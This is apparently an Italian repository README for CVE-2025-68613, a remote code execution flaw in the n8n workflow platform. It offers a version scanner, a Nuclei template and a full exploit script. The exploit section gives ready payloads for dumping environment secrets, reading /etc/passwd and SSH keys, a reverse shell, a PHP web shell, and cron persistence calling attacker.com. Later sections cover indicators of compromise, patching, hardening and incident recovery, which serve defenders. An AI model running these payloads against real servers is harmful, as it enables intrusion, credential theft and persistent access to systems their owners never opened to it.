
PoC pubblico + Scanner e ricerca per CVE-2025-68613: RCE critica in n8n Workflow Automation tramite Expression Injection (CVSS 10.0). Include strumenti di rilevamento, exploit completo e guida alla remedazione.

CVE-2025-68613 è una vulnerabilità critica di esecuzione di codice remoto (RCE) scoperta in n8n, una popolare piattaforma open-source di automazione dei flussi di lavoro. Questa vulnerabilità consente agli utenti autenticati di eseguire codice arbitrario sul server, portando potenzialmente al completo compromesso del sistema.
n8n è una piattaforma open-source di automazione dei flussi di lavoro che consente agli utenti di:
Le organizzazioni usano n8n per:
Questo ruolo centrale nell'infrastruttura IT rende le vulnerabilità particolarmente pericolose, poiché possono fornire agli aggressori l'accesso a intere reti e a dati sensibili.
Questo repository include strumenti pronti all'uso per il rilevamento delle vulnerabilità e i test di sfruttamento:
cve-2025-68613-scanner.pyScopo: Rilevamento sicuro e non sfruttante delle istanze n8n vulnerabili
Caratteristiche:
Utilizzo:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- Codice di uscita 0: Non vulnerabile
- Codice di uscita 1: Versione indeterminata (potrebbe essere patchata o nascosta)
- Codice di uscita 2: Versione vulnerabile rilevata
### 2. Template Nuclei: `CVE-2025-68613.yaml`
**Scopo**: Rilevamento automatico delle vulnerabilità e test di base di valutazione delle espressioni
**Caratteristiche**:
- Richiede un token di autenticazione valido
- Verifica la capacità di iniezione delle espressioni
- Tenta di leggere il contesto globale di Node.js (process.platform)
- Crea workflow di test per validare il vettore RCE
- Classificazione di gravità critica CVSS 10.0
**Utilizzo**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyScopo: Proof-of-concept completo di sfruttamento con molteplici payload di attacco
Caratteristiche:
Requisiti:
Installazione:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**Esempi di utilizzo**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
Come Funziona:
this.constructor.constructor()process.platform o altre API Node.jsCodici di Uscita:
In termini semplici: n8n consente agli utenti di scrivere espressioni nei workflow per elaborare i dati dinamicamente. Tuttavia, queste espressioni vengono valutate senza un adeguato sandboxing, consentendo agli attaccanti di uscire dal contesto di esecuzione previsto ed eseguire codice arbitrario sul server.
Quando crei un workflow in n8n, puoi utilizzare "espressioni" per manipolare i dati. Queste espressioni dovrebbero essere eseguite in un ambiente ristretto. Tuttavia, la vulnerabilità dimostra che queste espressioni possono accedere al sistema sottostante, consentendo a un attaccante di:
Quando un utente crea un workflow in n8n, può utilizzare le espressioni per elaborare i dati:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### Passo 2: Iniezione di espressioni
Un attaccante crea un'espressione dannosa che sfugge alla sandbox prevista:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
L'espressione viene valutata senza un adeguato isolamento, consentendo all'attaccante di:
La vulnerabilità deriva da sandboxing insufficiente nel motore di valutazione delle espressioni. Il team di n8n valutava le espressioni in un contesto che:
require() o funzioni simili di caricamento dei moduliUser Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## Versioni interessate
### Intervallo vulnerabile
Tutte le versioni di n8n a partire da **0.211.0** fino alle seguenti versioni sono vulnerabili:
- `0.211.0` → `1.120.3`
- `1.121.0`
### Versioni corrette
La vulnerabilità è stata corretta in:
- ✅ `1.120.4` e successive nel ramo 1.120.x
- ✅ `1.121.1` e successive nel ramo 1.121.x
- ✅ `1.122.0` e tutte le versioni più recenti
### Come controllare la tua versione```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run restituisce errore HTTP 500 in v1.121.0
L'exploit è progettato per funzionare contro l'intervallo vulnerabile documentato in NVD:
Se si testa su versioni al di fuori di questo intervallo, il successo non è garantito.
Una volta che un utente autenticato (o un attaccante con credenziali valide) sfrutta questa vulnerabilità, può:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Leggere i file dal server```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Scrivere file dannosi```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Stabilire la persistenza```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Scenario Reale: Azienda che Utilizza n8n
Azienda Manifatturiera
Servizi Finanziari
Organizzazione Sanitaria
Script di rilevamento sicuro e non exploitante (incluso nel repository originale):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
**Esempi di Output**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Scansione automatizzata con Nuclei:```bash
nuclei -t CVE-2025-68613.yaml -u http://target:5678
nuclei -t CVE-2025-68613.yaml -l targets.txt
**Come funziona**:
1. Invia richieste HTTP ai percorsi n8n comuni
2. Estrae i metadati della versione da HTML/intestazioni
3. Decodifica la configurazione codificata in base64 se presente
4. Confronta la versione con gli intervalli vulnerabili
5. Segnala se l'istanza è vulnerabile
### Metodo 3: Banner Grabbing Manuale```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
shodan search "n8n" --limit 10
nmap -p 5678 --script http-favicon target.com
### Indicatori di Compromissione (IOC)
**Segni nei Log**:
- Valutazioni di espressioni insolite nei log dei workflow
- Errori di espressione contenenti comandi di sistema
- Accesso a file sensibili (ad es., riferimenti a /etc/passwd)
- Avvio inatteso di processi dal processo n8n
**Segni di Sistema**:
- Nuovi account utente creati sul server
- Chiavi SSH inattese in authorized_keys
- Nuovi cron job o attività pianificate
- Modifiche ai file di sistema
- Connessioni reverse shell dal server n8n
---
## Rimedio e Mitigazione
### SOLUZIONE PRINCIPALE: Aggiornamento Immediato
**Questa è l'unica soluzione completa per la vulnerabilità.**
#### Passo 1: Esegui il Backup dei Tuoi Dati```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Utilizzo di Docker (Consigliato):```bash
docker pull n8nio/n8n:1.122.0 # Or later
docker stop n8n-container
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
**Usare npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Utilizzo del gestore di pacchetti di sistema:```bash
sudo apt update && sudo apt upgrade n8n
#### Passaggio 3: Verifica dell'aggiornamento```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Importante: Queste NON risolvono la vulnerabilità. Utilizzarle solo come misure temporanee mentre si pianificano gli aggiornamenti.
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Monitora le modifiche del flusso di lavoro```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. Esegui n8n con Privilegi Minimi```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Containerizzazione & Isolamento```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
find /path/to/n8n -type f -mtime -1
ps aux | grep n8n netstat -tlnp | grep n8n
cat ~/.ssh/authorized_keys
journalctl -u n8n -n 100
---
## Matrice di valutazione del rischio
| Scenario | Livello di rischio | Probabilità | Impatto | Priorità |
|----------|-----------|-----------|--------|----------|
| n8n non aggiornato esposto a internet | CRITICO | ALTA | Compromissione totale | 🔴 URGENTE |
| n8n non aggiornato solo interno | ALTO | MEDIA | Rischio di minaccia interna | 🟠 ALTO |
| n8n aggiornato | BASSO | BASSA | N/A | ✅ Risolto |
| Non aggiornato + restrizioni dei permessi | MEDIO | MEDIA | Limitato a utenti fidati | 🟡 MEDIO |
---
## Recupero passo-passo in caso di compromissione
### Azioni immediate (prima ora)
1. **Isolare il sistema**: scollegare dalla rete
2. **Fermare il servizio**: `sudo systemctl stop n8n`
3. **Conservare i log**: eseguire il backup di tutti i log prima della cancellazione
4. **Allertare il team**: informare il team di sicurezza e la direzione
5. **Valutare la portata**: determinare a quali dati n8n ha avuto accesso
### Indagine (primo giorno)
1. **Esaminare i log di audit**: controllare attività sospette
2. **Analizzare il traffico di rete**: cercare esfiltrazione di dati
3. **Controllare le modifiche ai file**: individuare backdoor inserite
4. **Rivedere gli account utente**: cercare account nuovi o modificati
5. **Audit delle credenziali**: reimpostare tutte le chiavi API e le password utilizzate da n8n
### Bonifica (giorni 2-7)
1. **Ricostruzione completa del sistema**: non limitarsi ad aggiornare, ricostruire da un'immagine pulita
2. **Rotazione delle credenziali**: reimpostare tutte le password, le chiavi API e i token
3. **Applicare le patch a tutto**: aggiornare tutti i sistemi collegati
4. **Ripristinare dal backup**: utilizzare backup puliti precedenti alla compromissione
5. **Audit di sicurezza**: condurre una valutazione completa della sicurezza
### Post-incidente (settimane 2+)
1. **Implementare il monitoraggio**: configurare logging e alerting continui
2. **Modifiche ai processi**: aggiornare le procedure di risposta agli incidenti
3. **Formazione degli utenti**: formare i team sulle best practice di sicurezza
4. **Scansione delle vulnerabilità**: eseguire scansioni regolari per problemi simili
5. **Revisione della conformità**: assicurarsi che tutte le normative siano rispettate (GDPR, HIPAA, ecc.)
---
## Prevenzione per il futuro
### Best practice di sicurezza per n8n
1. **Mantenere n8n aggiornato**
- Abilitare gli aggiornamenti automatici se disponibili
- Iscriversi agli advisory di sicurezza di n8n
- Testare le patch in staging prima della produzione
2. **Controllo degli accessi**
- Utilizzare il principio del minimo privilegio
- Richiedere password robuste e 2FA
- Implementare SSO per gli ambienti enterprise
- Revisioni e audit regolari degli accessi
3. **Gestione dei workflow**
- Rivedere tutti i workflow per logiche sospette
- Implementare un processo di revisione del codice per i workflow
- Utilizzare convenzioni di denominazione per identificare i workflow critici
- Eseguire regolarmente il backup dei workflow
4. **Gestione delle credenziali**
- Non memorizzare mai le credenziali nei workflow
- Utilizzare variabili d'ambiente per i dati sensibili
- Ruotare regolarmente le credenziali
- Eseguire audit dell'accesso alle credenziali
5. **Monitoraggio e logging**
- Abilitare un logging di audit completo
- Monitorare le attività insolite
- Configurare avvisi per operazioni sospette
- Revisione e analisi regolare dei log
6. **Sicurezza di rete**
- Eseguire n8n in segmenti di rete isolati
- Limitare l'accesso di rete ai soli servizi necessari
- Utilizzare VPN/firewall per l'accesso remoto
- Monitorare il traffico di rete per anomalie
7. **Risposta agli incidenti**
- Creare un piano di risposta agli incidenti
- Definire le procedure di escalation
- Condurre esercitazioni di sicurezza regolari
- Mantenere elenchi di contatti aggiornati
---
## Risoluzione dei problemi
### Problema: "Exit code 1: Authentication or exploitation failed"
**Cause comuni**:
1. **Credenziali errate** (più comune)
- Soluzione: verificare prima che le credenziali funzionino per il login nell'interfaccia web
- Prova: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **L'utente non ha i permessi per creare workflow**
- Soluzione: utilizzare un account amministratore o un account utente con diritti di creazione dei workflow
- Verifica: controllare il pannello di amministrazione → Utenti e permessi
3. **La versione è aggiornata** (versione > 1.121.0)
- Soluzione: usare prima lo scanner per controllare la versione: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Atteso: lo scanner dovrebbe segnalare "Vulnerable" (codice di uscita 2)
4. **La struttura dell'API è cambiata** (le versioni più vecchie o più nuove possono differire)
- Soluzione: controllare l'advisory NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Più probabile se si testano versioni al di fuori dell'intervallo documentato
5. **Blocco di rete/firewall**
- Soluzione: verificare la connettività: `curl http://target:5678/`
- Controllare: regole del firewall, impostazioni del proxy, certificati SSL
### Problema: lo scanner segnala falsi positivi (rilevamento di una versione errata)
**Corretto in v1.02**: lo scanner ora utilizza la configurazione Sentry decodificata in base64 dai meta tag invece della semplice regex. Questo elimina i falsi positivi in cui la versione di Node.js veniva rilevata come versione di n8n.
**Cosa è cambiato**:
- Fonte primaria: estrarre e decodificare `<meta name="n8n:config:sentry" content="[BASE64]">`
- Fallback: usa la regex solo se la configurazione Sentry non è disponibile
- Risultato: rilevamento accurato della versione senza falsi positivi
**Per usare lo scanner v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
Questo NON è un bug nell'exploit - è una limitazione dell'API.
Spiegazione:
/rest/workflows/{id}/run restituisce HTTP 500 in n8n v1.121.0Soluzione alternativa:
Evidenza: Flag catturata su TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 è una vulnerabilità critica che richiede un'azione immediata. La combinazione di:
...rende questa una delle vulnerabilità più pericolose nelle piattaforme di automazione dei workflow.
La soluzione semplice: aggiornare immediatamente a una versione patchata. Non c'è alcuna giustificazione per rimanere vulnerabili a una RCE critica quando le patch sono disponibili.
|- Versione: 1.02 |- Data di creazione: 18 dicembre 2025 |- Ultimo aggiornamento: 26 dicembre 2025
Questo documento è fornito esclusivamente a scopo educativo e per valutazioni di sicurezza autorizzate. L'accesso non autorizzato a sistemi informatici è illegale. Assicurati sempre di avere la dovuta autorizzazione prima di testare, valutare o accedere a sistemi che non possiedi.
⚠️ RICORDA: aggiorna immediatamente le tue istanze n8n se stai eseguendo versioni vulnerabili.